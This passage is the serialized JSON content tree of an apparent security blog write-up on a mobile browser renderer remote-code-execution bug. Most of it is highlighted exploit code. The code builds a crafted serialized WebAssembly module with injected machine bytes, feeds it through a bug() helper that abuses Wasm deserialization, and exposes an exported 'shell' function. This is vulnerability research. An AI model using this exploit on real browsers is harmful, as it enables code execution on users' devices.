type":26,"value":3895},{"type":21,"tag":85,"props":137192,"children":137193},{"style":114},[137194],{"type":26,"value":256},{"type":21,"tag":85,"props":137196,"children":137197},{"style":2285},[137198],{"type":26,"value":4779},{"type":21,"tag":85,"props":137200,"children":137201},{"style":114},[137202],{"type":26,"value":256},{"type":21,"tag":85,"props":137204,"children":137205},{"style":2285},[137206],{"type":26,"value":4789},{"type":21,"tag":85,"props":137208,"children":137209},{"style":114},[137210],{"type":26,"value":256},{"type":21,"tag":85,"props":137212,"children":137213},{"style":2285},[137214],{"type":26,"value":55127},{"type":21,"tag":85,"props":137216,"children":137217},{"style":114},[137218],{"type":26,"value":256},{"type":21,"tag":85,"props":137220,"children":137221},{"style":2285},[137222],{"type":26,"value":56342},{"type":21,"tag":85,"props":137224,"children":137225},{"style":114},[137226],{"type":26,"value":256},{"type":21,"tag":85,"props":137228,"children":137229},{"style":2285},[137230],{"type":26,"value":4779},{"type":21,"tag":85,"props":137232,"children":137233},{"style":114},[137234],{"type":26,"value":256},{"type":21,"tag":85,"props":137236,"children":137237},{"style":2285},[137238],{"type":26,"value":18532},{"type":21,"tag":85,"props":137240,"children":137241},{"style":114},[137242],{"type":26,"value":256},{"type":21,"tag":85,"props":137244,"children":137245},{"style":2285},[137246],{"type":26,"value":133960},{"type":21,"tag":85,"props":137248,"children":137249},{"style":114},[137250],{"type":26,"value":256},{"type":21,"tag":85,"props":137252,"children":137253},{"style":2285},[137254],{"type":26,"value":134131},{"type":21,"tag":85,"props":137256,"children":137257},{"style":114},[137258],{"type":26,"value":256},{"type":21,"tag":85,"props":137260,"children":137261},{"style":2285},[137262],{"type":26,"value":134140},{"type":21,"tag":85,"props":137264,"children":137265},{"style":114},[137266],{"type":26,"value":256},{"type":21,"tag":85,"props":137268,"children":137269},{"style":2285},[137270],{"type":26,"value":134149},{"type":21,"tag":85,"props":137272,"children":137273},{"style":114},[137274],{"type":26,"value":256},{"type":21,"tag":85,"props":137276,"children":137277},{"style":2285},[137278],{"type":26,"value":134149},{"type":21,"tag":85,"props":137280,"children":137281},{"style":114},[137282],{"type":26,"value":182},{"type":21,"tag":85,"props":137284,"children":137285},{"class":87,"line":160},[137286,137290,137294,137298,137302,137306,137310,137314,137318,137322,137326,137330,137334,137338,137342,137346],{"type":21,"tag":85,"props":137287,"children":137288},{"style":2285},[137289],{"type":26,"value":134659},{"type":21,"tag":85,"props":137291,"children":137292},{"style":114},[137293],{"type":26,"value":256},{"type":21,"tag":85,"props":137295,"children":137296},{"style":2285},[137297],{"type":26,"value":4789},{"type":21,"tag":85,"props":137299,"children":137300},{"style":114},[137301],{"type":26,"value":256},{"type":21,"tag":85,"props":137303,"children":137304},{"style":2285},[137305],{"type":26,"value":89715},{"type":21,"tag":85,"props":137307,"children":137308},{"style":114},[137309],{"type":26,"value":256},{"type":21,"tag":85,"props":137311,"children":137312},{"style":2285},[137313],{"type":26,"value":17951},{"type":21,"tag":85,"props":137315,"children":137316},{"style":114},[137317],{"type":26,"value":256},{"type":21,"tag":85,"props":137319,"children":137320},{"style":2285},[137321],{"type":26,"value":4779},{"type":21,"tag":85,"props":137323,"children":137324},{"style":114},[137325],{"type":26,"value":256},{"type":21,"tag":85,"props":137327,"children":137328},{"style":2285},[137329],{"type":26,"value":3895},{"type":21,"tag":85,"props":137331,"children":137332},{"style":114},[137333],{"type":26,"value":256},{"type":21,"tag":85,"props":137335,"children":137336},{"style":2285},[137337],{"type":26,"value":4789},{"type":21,"tag":85,"props":137339,"children":137340},{"style":114},[137341],{"type":26,"value":256},{"type":21,"tag":85,"props":137343,"children":137344},{"style":2285},[137345],{"type":26,"value":134225},{"type":21,"tag":85,"props":137347,"children":137348},{"style":114},[137349],{"type":26,"value":182},{"type":21,"tag":85,"props":137351,"children":137352},{"class":87,"line":185},[137353],{"type":21,"tag":85,"props":137354,"children":137355},{"style":114},[137356],{"type":26,"value":134946},{"type":21,"tag":85,"props":137358,"children":137359},{"class":87,"line":501},[137360,137364,137368,137372,137376,137380,137384,137388,137392,137396],{"type":21,"tag":85,"props":137361,"children":137362},{"style":102},[137363],{"type":26,"value":137043},{"type":21,"tag":85,"props":137365,"children":137366},{"style":120},[137367],{"type":26,"value":72084},{"type":21,"tag":85,"props":137369,"children":137370},{"style":169},[137371],{"type":26,"value":1941},{"type":21,"tag":85,"props":137373,"children":137374},{"style":102},[137375],{"type":26,"value":32378},{"type":21,"tag":85,"props":137377,"children":137378},{"style":120},[137379],{"type":26,"value":134260},{"type":21,"tag":85,"props":137381,"children":137382},{"style":114},[137383],{"type":26,"value":73},{"type":21,"tag":85,"props":137385,"children":137386},{"style":1021},[137387],{"type":26,"value":86381},{"type":21,"tag":85,"props":137389,"children":137390},{"style":114},[137391],{"type":26,"value":1439},{"type":21,"tag":85,"props":137393,"children":137394},{"style":120},[137395],{"type":26,"value":134277},{"type":21,"tag":85,"props":137397,"children":137398},{"style":114},[137399],{"type":26,"value":777},{"type":21,"tag":85,"props":137401,"children":137402},{"class":87,"line":697},[137403,137407,137411,137415,137419,137423,137427,137431,137435,137439],{"type":21,"tag":85,"props":137404,"children":137405},{"style":102},[137406],{"type":26,"value":137043},{"type":21,"tag":85,"props":137408,"children":137409},{"style":120},[137410],{"type":26,"value":134293},{"type":21,"tag":85,"props":137412,"children":137413},{"style":169},[137414],{"type":26,"value":1941},{"type":21,"tag":85,"props":137416,"children":137417},{"style":102},[137418],{"type":26,"value":32378},{"type":21,"tag":85,"props":137420,"children":137421},{"style":120},[137422],{"type":26,"value":134260},{"type":21,"tag":85,"props":137424,"children":137425},{"style":114},[137426],{"type":26,"value":73},{"type":21,"tag":85,"props":137428,"children":137429},{"style":1021},[137430],{"type":26,"value":134314},{"type":21,"tag":85,"props":137432,"children":137433},{"style":114},[137434],{"type":26,"value":1439},{"type":21,"tag":85,"props":137436,"children":137437},{"style":120},[137438],{"type":26,"value":134323},{"type":21,"tag":85,"props":137440,"children":137441},{"style":114},[137442],{"type":26,"value":777},{"type":21,"tag":85,"props":137444,"children":137445},{"class":87,"line":706},[137446,137450,137454,137458,137462,137466,137470,137474,137478],{"type":21,"tag":85,"props":137447,"children":137448},{"style":102},[137449],{"type":26,"value":137043},{"type":21,"tag":85,"props":137451,"children":137452},{"style":120},[137453],{"type":26,"value":80471},{"type":21,"tag":85,"props":137455,"children":137456},{"style":169},[137457],{"type":26,"value":1941},{"type":21,"tag":85,"props":137459,"children":137460},{"style":120},[137461],{"type":26,"value":134293},{"type":21,"tag":85,"props":137463,"children":137464},{"style":114},[137465],{"type":26,"value":73},{"type":21,"tag":85,"props":137467,"children":137468},{"style":120},[137469],{"type":26,"value":38334},{"type":21,"tag":85,"props":137471,"children":137472},{"style":114},[137473],{"type":26,"value":73},{"type":21,"tag":85,"props":137475,"children":137476},{"style":120},[137477],{"type":26,"value":134363},{"type":21,"tag":85,"props":137479,"children":137480},{"style":114},[137481],{"type":26,"value":2535},{"type":21,"tag":85,"props":137483,"children":137484},{"class":87,"line":1100},[137485],{"type":21,"tag":85,"props":137486,"children":137487},{"emptyLinePlaceholder":16},[137488],{"type":26,"value":703},{"type":21,"tag":85,"props":137490,"children":137491},{"class":87,"line":1339},[137492],{"type":21,"tag":85,"props":137493,"children":137494},{"style":92},[137495],{"type":26,"value":137496},"  // %WasmTierUpFunction(func);\n",{"type":21,"tag":85,"props":137498,"children":137499},{"class":87,"line":1348},[137500,137505,137509,137513,137517,137521,137525,137529,137533,137537,137541,137545,137549,137553],{"type":21,"tag":85,"props":137501,"children":137502},{"style":2885},[137503],{"type":26,"value":137504},"  for",{"type":21,"tag":85,"props":137506,"children":137507},{"style":114},[137508],{"type":26,"value":717},{"type":21,"tag":85,"props":137510,"children":137511},{"style":102},[137512],{"type":26,"value":12204},{"type":21,"tag":85,"props":137514,"children":137515},{"style":120},[137516],{"type":26,"value":2821},{"type":21,"tag":85,"props":137518,"children":137519},{"style":169},[137520],{"type":26,"value":1941},{"type":21,"tag":85,"props":137522,"children":137523},{"style":2285},[137524],{"type":26,"value":2830},{"type":21,"tag":85,"props":137526,"children":137527},{"style":114},[137528],{"type":26,"value":17649},{"type":21,"tag":85,"props":137530,"children":137531},{"style":120},[137532],{"type":26,"value":3003},{"type":21,"tag":85,"props":137534,"children":137535},{"style":169},[137536],{"type":26,"value":3085},{"type":21,"tag":85,"props":137538,"children":137539},{"style":2285},[137540],{"type":26,"value":136965},{"type":21,"tag":85,"props":137542,"children":137543},{"style":114},[137544],{"type":26,"value":17649},{"type":21,"tag":85,"props":137546,"children":137547},{"style":120},[137548],{"type":26,"value":3003},{"type":21,"tag":85,"props":137550,"children":137551},{"style":169},[137552],{"type":26,"value":51725},{"type":21,"tag":85,"props":137554,"children":137555},{"style":114},[137556],{"type":26,"value":15222},{"type":21,"tag":85,"props":137558,"children":137559},{"class":87,"line":1386},[137560,137565],{"type":21,"tag":85,"props":137561,"children":137562},{"style":1021},[137563],{"type":26,"value":137564},"    func",{"type":21,"tag":85,"props":137566,"children":137567},{"style":114},[137568],{"type":26,"value":4437},{"type":21,"tag":85,"props":137570,"children":137571},{"class":87,"line":1394},[137572],{"type":21,"tag":85,"props":137573,"children":137574},{"style":114},[137575],{"type":26,"value":191},{"type":21,"tag":85,"props":137577,"children":137578},{"class":87,"line":1402},[137579],{"type":21,"tag":85,"props":137580,"children":137581},{"emptyLinePlaceholder":16},[137582],{"type":26,"value":703},{"type":21,"tag":85,"props":137584,"children":137585},{"class":87,"line":3145},[137586,137590,137594,137598,137602,137606,137610],{"type":21,"tag":85,"props":137587,"children":137588},{"style":102},[137589],{"type":26,"value":2206},{"type":21,"tag":85,"props":137591,"children":137592},{"style":120},[137593],{"type":26,"value":136399},{"type":21,"tag":85,"props":137595,"children":137596},{"style":169},[137597],{"type":26,"value":1941},{"type":21,"tag":85,"props":137599,"children":137600},{"style":1021},[137601],{"type":26,"value":136408},{"type":21,"tag":85,"props":137603,"children":137604},{"style":114},[137605],{"type":26,"value":1439},{"type":21,"tag":85,"props":137607,"children":137608},{"style":120},[137609],{"type":26,"value":134323},{"type":21,"tag":85,"props":137611,"children":137612},{"style":114},[137613],{"type":26,"value":777},{"type":21,"tag":85,"props":137615,"children":137616},{"class":87,"line":3246},[137617,137621,137625,137629,137633,137637,137641,137645,137649,137653],{"type":21,"tag":85,"props":137618,"children":137619},{"style":120},[137620],{"type":26,"value":136444},{"type":21,"tag":85,"props":137622,"children":137623},{"style":169},[137624],{"type":26,"value":1941},{"type":21,"tag":85,"props":137626,"children":137627},{"style":114},[137628],{"type":26,"value":717},{"type":21,"tag":85,"props":137630,"children":137631},{"style":2885},[137632],{"type":26,"value":33362},{"type":21,"tag":85,"props":137634,"children":137635},{"style":120},[137636],{"type":26,"value":136399},{"type":21,"tag":85,"props":137638,"children":137639},{"style":114},[137640],{"type":26,"value":73},{"type":21,"tag":85,"props":137642,"children":137643},{"style":1021},[137644],{"type":26,"value":58022},{"type":21,"tag":85,"props":137646,"children":137647},{"style":114},[137648],{"type":26,"value":136473},{"type":21,"tag":85,"props":137650,"children":137651},{"style":120},[137652],{"type":26,"value":39600},{"type":21,"tag":85,"props":137654,"children":137655},{"style":114},[137656],{"type":26,"value":2535},{"type":21,"tag":85,"props":137658,"children":137659},{"class":87,"line":3255},[137660,137664,137668,137672,137676,137680],{"type":21,"tag":85,"props":137661,"children":137662},{"style":120},[137663],{"type":26,"value":102406},{"type":21,"tag":85,"props":137665,"children":137666},{"style":114},[137667],{"type":26,"value":73},{"type":21,"tag":85,"props":137669,"children":137670},{"style":1021},[137671],{"type":26,"value":102415},{"type":21,"tag":85,"props":137673,"children":137674},{"style":114},[137675],{"type":26,"value":1439},{"type":21,"tag":85,"props":137677,"children":137678},{"style":120},[137679],{"type":26,"value":3463},{"type":21,"tag":85,"props":137681,"children":137682},{"style":114},[137683],{"type":26,"value":777},{"type":21,"tag":85,"props":137685,"children":137686},{"class":87,"line":3286},[137687],{"type":21,"tag":85,"props":137688,"children":137689},{"emptyLinePlaceholder":16},[137690],{"type":26,"value":703},{"type":21,"tag":85,"props":137692,"children":137693},{"class":87,"line":3295},[137694,137698,137703,137707,137711,137715,137719,137723],{"type":21,"tag":85,"props":137695,"children":137696},{"style":102},[137697],{"type":26,"value":2206},{"type":21,"tag":85,"props":137699,"children":137700},{"style":120},[137701],{"type":26,"value":137702}," result_bytes",{"type":21,"tag":85,"props":137704,"children":137705},{"style":169},[137706],{"type":26,"value":1941},{"type":21,"tag":85,"props":137708,"children":137709},{"style":102},[137710],{"type":26,"value":32378},{"type":21,"tag":85,"props":137712,"children":137713},{"style":1021},[137714],{"type":26,"value":133929},{"type":21,"tag":85,"props":137716,"children":137717},{"style":114},[137718],{"type":26,"value":1439},{"type":21,"tag":85,"props":137720,"children":137721},{"style":120},[137722],{"type":26,"value":3463},{"type":21,"tag":85,"props":137724,"children":137725},{"style":114},[137726],{"type":26,"value":777},{"type":21,"tag":85,"props":137728,"children":137729},{"class":87,"line":3308},[137730,137734,137738,137742,137746,137750,137754,137758,137762,137766,137770,137774,137778,137782,137786],{"type":21,"tag":85,"props":137731,"children":137732},{"style":120},[137733],{"type":26,"value":102406},{"type":21,"tag":85,"props":137735,"children":137736},{"style":114},[137737],{"type":26,"value":73},{"type":21,"tag":85,"props":137739,"children":137740},{"style":1021},[137741],{"type":26,"value":102415},{"type":21,"tag":85,"props":137743,"children":137744},{"style":114},[137745],{"type":26,"value":1439},{"type":21,"tag":85,"props":137747,"children":137748},{"style":5026},[137749],{"type":26,"value":134496},{"type":21,"tag":85,"props":137751,"children":137752},{"style":169},[137753],{"type":26,"value":3274},{"type":21,"tag":85,"props":137755,"children":137756},{"style":120},[137757],{"type":26,"value":137702},{"type":21,"tag":85,"props":137759,"children":137760},{"style":114},[137761],{"type":26,"value":73},{"type":21,"tag":85,"props":137763,"children":137764},{"style":1021},[137765],{"type":26,"value":134513},{"type":21,"tag":85,"props":137767,"children":137768},{"style":114},[137769],{"type":26,"value":1439},{"type":21,"tag":85,"props":137771,"children":137772},{"style":5026},[137773],{"type":26,"value":134522},{"type":21,"tag":85,"props":137775,"children":137776},{"style":114},[137777],{"type":26,"value":736},{"type":21,"tag":85,"props":137779,"children":137780},{"style":169},[137781],{"type":26,"value":5151},{"type":21,"tag":85,"props":137783,"children":137784},{"style":5026},[137785],{"type":26,"value":134535},{"type":21,"tag":85,"props":137787,"children":137788},{"style":114},[137789],{"type":26,"value":777},{"type":21,"tag":85,"props":137791,"children":137792},{"class":87,"line":3333},[137793],{"type":21,"tag":85,"props":137794,"children":137795},{"style":114},[137796],{"type":26,"value":102447},{"type":21,"tag":22,"props":137798,"children":137799},{},[137800],{"type":26,"value":137801},"We get the serialized bytes:",{"type":21,"tag":22,"props":137803,"children":137804},{},[137805],{"type":21,"tag":4681,"props":137806,"children":137809},{"alt":137807,"src":137808},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":21,"tag":22,"props":137811,"children":137812},{},[137813,137815,137820],{"type":26,"value":137814},"We can now embed this output into the original bytecode that calls ",{"type":21,"tag":66,"props":137816,"children":137818},{"className":137817},[],[137819],{"type":26,"value":133392},{"type":26,"value":172},{"type":21,"tag":75,"props":137822,"children":137824},{"code":137823,"language":36063,"meta":7,"className":36061,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[137825],{"type":21,"tag":66,"props":137826,"children":137827},{"__ignoreMap":7},[137828,137851,137878,138097,138164,138171,138198,138409,138660,138911,139135,139317,139538,139616,139623,139670,139713,139749,139792,139831,139858],{"type":21,"tag":85,"props":137829,"children":137830},{"class":87,"line":88},[137831,137835,137839,137843,137847],{"type":21,"tag":85,"props":137832,"children":137833},{"style":114},[137834],{"type":26,"value":1439},{"type":21,"tag":85,"props":137836,"children":137837},{"style":102},[137838],{"type":26,"value":36593},{"type":21,"tag":85,"props":137840,"children":137841},{"style":114},[137842],{"type":26,"value":40145},{"type":21,"tag":85,"props":137844,"children":137845},{"style":102},[137846],{"type":26,"value":15240},{"type":21,"tag":85,"props":137848,"children":137849},{"style":114},[137850],{"type":26,"value":148},{"type":21,"tag":85,"props":137852,"children":137853},{"class":87,"line":98},[137854,137858,137862,137866,137870,137874],{"type":21,"tag":85,"props":137855,"children":137856},{"style":102},[137857],{"type":26,"value":36636},{"type":21,"tag":85,"props":137859,"children":137860},{"style":120},[137861],{"type":26,"value":133916},{"type":21,"tag":85,"props":137863,"children":137864},{"style":169},[137865],{"type":26,"value":1941},{"type":21,"tag":85,"props":137867,"children":137868},{"style":102},[137869],{"type":26,"value":32378},{"type":21,"tag":85,"props":137871,"children":137872},{"style":1021},[137873],{"type":26,"value":133929},{"type":21,"tag":85,"props":137875,"children":137876},{"style":114},[137877],{"type":26,"value":133934},{"type":21,"tag":85,"props":137879,"children":137880},{"class":87,"line":151},[137881,137885,137889,137893,137897,137901,137905,137909,137913,137917,137921,137925,137929,137933,137937,137941,137945,137949,137953,137957,137961,137965,137969,137973,137977,137981,137985,137989,137993,137997,138001,138005,138009,138013,138017,138021,138025,138029,138033,138037,138041,138045,138049,138053,138057,138061,138065,138069,138073,138077,138081,138085,138089,138093],{"type":21,"tag":85,"props":137882,"children":137883},{"style":2285},[137884],{"type":26,"value":134659},{"type":21,"tag":85,"props":137886,"children":137887},{"style":114},[137888],{"type":26,"value":256},{"type":21,"tag":85,"props":137890,"children":137891},{"style":2285},[137892],{"type":26,"value":133951},{"type":21,"tag":85,"props":137894,"children":137895},{"style":114},[137896],{"type":26,"value":256},{"type":21,"tag":85,"props":137898,"children":137899},{"style":2285},[137900],{"type":26,"value":133960},{"type":21,"tag":85,"props":137902,"children":137903},{"style":114},[137904],{"type":26,"value":256},{"type":21,"tag":85,"props":137906,"children":137907},{"style":2285},[137908],{"type":26,"value":133969},{"type":21,"tag":85,"props":137910,"children":137911},{"style":114},[137912],{"type":26,"value":256},{"type":21,"tag":85,"props":137914,"children":137915},{"style":2285},[137916],{"type":26,"value":4779},{"type":21,"tag":85,"props":137918,"children":137919},{"style":114},[137920],{"type":26,"value":256},{"type":21,"tag":85,"props":137922,"children":137923},{"style":2285},[137924],{"type":26,"value":4789},{"type":21,"tag":85,"props":137926,"children":137927},{"style":114},[137928],{"type":26,"value":256},{"type":21,"tag":85,"props":137930,"children":137931},{"style":2285},[137932],{"type":26,"value":4789},{"type":21,"tag":85,"props":137934,"children":137935},{"style":114},[137936],{"type":26,"value":256},{"type":21,"tag":85,"props":137938,"children":137939},{"style":2285},[137940],{"type":26,"value":4789},{"type":21,"tag":85,"props":137942,"children":137943},{"style":114},[137944],{"type":26,"value":256},{"type":21,"tag":85,"props":137946,"children":137947},{"style":2285},[137948],{"type":26,"value":4779},{"type":21,"tag":85,"props":137950,"children":137951},{"style":114},[137952],{"type":26,"value":256},{"type":21,"tag":85,"props":137954,"children":137955},{"style":2285},[137956],{"type":26,"value":17951},{"type":21,"tag":85,"props":137958,"children":137959},{"style":114},[137960],{"type":26,"value":256},{"type":21,"tag":85,"props":137962,"children":137963},{"style":2285},[137964],{"type":26,"value":4779},{"type":21,"tag":85,"props":137966,"children":137967},{"style":114},[137968],{"type":26,"value":256},{"type":21,"tag":85,"props":137970,"children":137971},{"style":2285},[137972],{"type":26,"value":134034},{"type":21,"tag":85,"props":137974,"children":137975},{"style":114},[137976],{"type":26,"value":256},{"type":21,"tag":85,"props":137978,"children":137979},{"style":2285},[137980],{"type":26,"value":4789},{"type":21,"tag":85,"props":137982,"children":137983},{"style":114},[137984],{"type":26,"value":256},{"type":21,"tag":85,"props":137986,"children":137987},{"style":2285},[137988],{"type":26,"value":4789},{"type":21,"tag":85,"props":137990,"children":137991},{"style":114},[137992],{"type":26,"value":256},{"type":21,"tag":85,"props":137994,"children":137995},{"style":2285},[137996],{"type":26,"value":17718},{"type":21,"tag":85,"props":137998,"children":137999},{"style":114},[138000],{"type":26,"value":256},{"type":21,"tag":85,"props":138002,"children":138003},{"style":2285},[138004],{"type":26,"value":3895},{"type":21,"tag":85,"props":138006,"children":138007},{"style":114},[138008],{"type":26,"value":256},{"type":21,"tag":85,"props":138010,"children":138011},{"style":2285},[138012],{"type":26,"value":4779},{"type":21,"tag":85,"props":138014,"children":138015},{"style":114},[138016],{"type":26,"value":256},{"type":21,"tag":85,"props":138018,"children":138019},{"style":2285},[138020],{"type":26,"value":4789},{"type":21,"tag":85,"props":138022,"children":138023},{"style":114},[138024],{"type":26,"value":256},{"type":21,"tag":85,"props":138026,"children":138027},{"style":2285},[138028],{"type":26,"value":55127},{"type":21,"tag":85,"props":138030,"children":138031},{"style":114},[138032],{"type":26,"value":256},{"type":21,"tag":85,"props":138034,"children":138035},{"style":2285},[138036],{"type":26,"value":56342},{"type":21,"tag":85,"props":138038,"children":138039},{"style":114},[138040],{"type":26,"value":256},{"type":21,"tag":85,"props":138042,"children":138043},{"style":2285},[138044],{"type":26,"value":4779},{"type":21,"tag":85,"props":138046,"children":138047},{"style":114},[138048],{"type":26,"value":256},{"type":21,"tag":85,"props":138050,"children":138051},{"style":2285},[138052],{"type":26,"value":18532},{"type":21,"tag":85,"props":138054,"children":138055},{"style":114},[138056],{"type":26,"value":256},{"type":21,"tag":85,"props":138058,"children":138059},{"style":2285},[138060],{"type":26,"value":133960},{"type":21,"tag":85,"props":138062,"children":138063},{"style":114},[138064],{"type":26,"value":256},{"type":21,"tag":85,"props":138066,"children":138067},{"style":2285},[138068],{"type":26,"value":134131},{"type":21,"tag":85,"props":138070,"children":138071},{"style":114},[138072],{"type":26,"value":256},{"type":21,"tag":85,"props":138074,"children":138075},{"style":2285},[138076],{"type":26,"value":134140},{"type":21,"tag":85,"props":138078,"children":138079},{"style":114},[138080],{"type":26,"value":256},{"type":21,"tag":85,"props":138082,"children":138083},{"style":2285},[138084],{"type":26,"value":134149},{"type":21,"tag":85,"props":138086,"children":138087},{"style":114},[138088],{"type":26,"value":256},{"type":21,"tag":85,"props":138090,"children":138091},{"style":2285},[138092],{"type":26,"value":134149},{"type":21,"tag":85,"props":138094,"children":138095},{"style":114},[138096],{"type":26,"value":182},{"type":21,"tag":85,"props":138098,"children":138099},{"class":87,"line":160},[138100,138104,138108,138112,138116,138120,138124,138128,138132,138136,138140,138144,138148,138152,138156,138160],{"type":21,"tag":85,"props":138101,"children":138102},{"style":2285},[138103],{"type":26,"value":134659},{"type":21,"tag":85,"props":138105,"children":138106},{"style":114},[138107],{"type":26,"value":256},{"type":21,"tag":85,"props":138109,"children":138110},{"style":2285},[138111],{"type":26,"value":4789},{"type":21,"tag":85,"props":138113,"children":138114},{"style":114},[138115],{"type":26,"value":256},{"type":21,"tag":85,"props":138117,"children":138118},{"style":2285},[138119],{"type":26,"value":89715},{"type":21,"tag":85,"props":138121,"children":138122},{"style":114},[138123],{"type":26,"value":256},{"type":21,"tag":85,"props":138125,"children":138126},{"style":2285},[138127],{"type":26,"value":17951},{"type":21,"tag":85,"props":138129,"children":138130},{"style":114},[138131],{"type":26,"value":256},{"type":21,"tag":85,"props":138133,"children":138134},{"style":2285},[138135],{"type":26,"value":4779},{"type":21,"tag":85,"props":138137,"children":138138},{"style":114},[138139],{"type":26,"value":256},{"type":21,"tag":85,"props":138141,"children":138142},{"style":2285},[138143],{"type":26,"value":3895},{"type":21,"tag":85,"props":138145,"children":138146},{"style":114},[138147],{"type":26,"value":256},{"type":21,"tag":85,"props":138149,"children":138150},{"style":2285},[138151],{"type":26,"value":4789},{"type":21,"tag":85,"props":138153,"children":138154},{"style":114},[138155],{"type":26,"value":256},{"type":21,"tag":85,"props":138157,"children":138158},{"style":2285},[138159],{"type":26,"value":134225},{"type":21,"tag":85,"props":138161,"children":138162},{"style":114},[138163],{"type":26,"value":182},{"type":21,"tag":85,"props":138165,"children":138166},{"class":87,"line":185},[138167],{"type":21,"tag":85,"props":138168,"children":138169},{"style":114},[138170],{"type":26,"value":134946},{"type":21,"tag":85,"props":138172,"children":138173},{"class":87,"line":501},[138174,138178,138182,138186,138190,138194],{"type":21,"tag":85,"props":138175,"children":138176},{"style":102},[138177],{"type":26,"value":36636},{"type":21,"tag":85,"props":138179,"children":138180},{"style":120},[138181],{"type":26,"value":125729},{"type":21,"tag":85,"props":138183,"children":138184},{"style":169},[138185],{"type":26,"value":1941},{"type":21,"tag":85,"props":138187,"children":138188},{"style":102},[138189],{"type":26,"value":32378},{"type":21,"tag":85,"props":138191,"children":138192},{"style":1021},[138193],{"type":26,"value":133929},{"type":21,"tag":85,"props":138195,"children":138196},{"style":114},[138197],{"type":26,"value":133934},{"type":21,"tag":85,"props":138199,"children":138200},{"class":87,"line":697},[138201,138206,138210,138214,138218,138222,138226,138230,138234,138239,138243,138248,138252,138257,138261,138266,138270,138274,138278,138282,138286,138290,138294,138298,138302,138307,138311,138316,138320,138325,138329,138333,138337,138341,138345,138349,138353,138357,138361,138365,138369,138373,138377,138381,138385,138389,138393,138397,138401,138405],{"type":21,"tag":85,"props":138202,"children":138203},{"style":2285},[138204],{"type":26,"value":138205},"    146",{"type":21,"tag":85,"props":138207,"children":138208},{"style":114},[138209],{"type":26,"value":256},{"type":21,"tag":85,"props":138211,"children":138212},{"style":2285},[138213],{"type":26,"value":18844},{"type":21,"tag":85,"props":138215,"children":138216},{"style":114},[138217],{"type":26,"value":256},{"type":21,"tag":85,"props":138219,"children":138220},{"style":2285},[138221],{"type":26,"value":134998},{"type":21,"tag":85,"props":138223,"children":138224},{"style":114},[138225],{"type":26,"value":256},{"type":21,"tag":85,"props":138227,"children":138228},{"style":2285},[138229],{"type":26,"value":135007},{"type":21,"tag":85,"props":138231,"children":138232},{"style":114},[138233],{"type":26,"value":256},{"type":21,"tag":85,"props":138235,"children":138236},{"style":2285},[138237],{"type":26,"value":138238},"174",{"type":21,"tag":85,"props":138240,"children":138241},{"style":114},[138242],{"type":26,"value":256},{"type":21,"tag":85,"props":138244,"children":138245},{"style":2285},[138246],{"type":26,"value":138247},"122",{"type":21,"tag":85,"props":138249,"children":138250},{"style":114},[138251],{"type":26,"value":256},{"type":21,"tag":85,"props":138253,"children":138254},{"style":2285},[138255],{"type":26,"value":138256},"171",{"type":21,"tag":85,"props":138258,"children":138259},{"style":114},[138260],{"type":26,"value":256},{"type":21,"tag":85,"props":138262,"children":138263},{"style":2285},[138264],{"type":26,"value":138265},"151",{"type":21,"tag":85,"props":138267,"children":138268},{"style":114},[138269],{"type":26,"value":256},{"type":21,"tag":85,"props":138271,"children":138272},{"style":2285},[138273],{"type":26,"value":97129},{"type":21,"tag":85,"props":138275,"children":138276},{"style":114},[138277],{"type":26,"value":256},{"type":21,"tag":85,"props":138279,"children":138280},{"style":2285},[138281],{"type":26,"value":4789},{"type":21,"tag":85,"props":138283,"children":138284},{"style":114},[138285],{"type":26,"value":256},{"type":21,"tag":85,"props":138287,"children":138288},{"style":2285},[138289],{"type":26,"value":4789},{"type":21,"tag":85,"props":138291,"children":138292},{"style":114},[138293],{"type":26,"value":256},{"type":21,"tag":85,"props":138295,"children":138296},{"style":2285},[138297],{"type":26,"value":4789},{"type":21,"tag":85,"props":138299,"children":138300},{"style":114},[138301],{"type":26,"value":256},{"type":21,"tag":85,"props":138303,"children":138304},{"style":2285},[138305],{"type":26,"value":138306},"39",{"type":21,"tag":85,"props":138308,"children":138309},{"style":114},[138310],{"type":26,"value":256},{"type":21,"tag":85,"props":138312,"children":138313},{"style":2285},[138314],{"type":26,"value":138315},"61",{"type":21,"tag":85,"props":138317,"children":138318},{"style":114},[138319],{"type":26,"value":256},{"type":21,"tag":85,"props":138321,"children":138322},{"style":2285},[138323],{"type":26,"value":138324},"60",{"type":21,"tag":85,"props":138326,"children":138327},{"style":114},[138328],{"type":26,"value":256},{"type":21,"tag":85,"props":138330,"children":138331},{"style":2285},[138332],{"type":26,"value":97129},{"type":21,"tag":85,"props":138334,"children":138335},{"style":114},[138336],{"type":26,"value":256},{"type":21,"tag":85,"props":138338,"children":138339},{"style":2285},[138340],{"type":26,"value":4789},{"type":21,"tag":85,"props":138342,"children":138343},{"style":114},[138344],{"type":26,"value":256},{"type":21,"tag":85,"props":138346,"children":138347},{"style":2285},[138348],{"type":26,"value":41296},{"type":21,"tag":85,"props":138350,"children":138351},{"style":114},[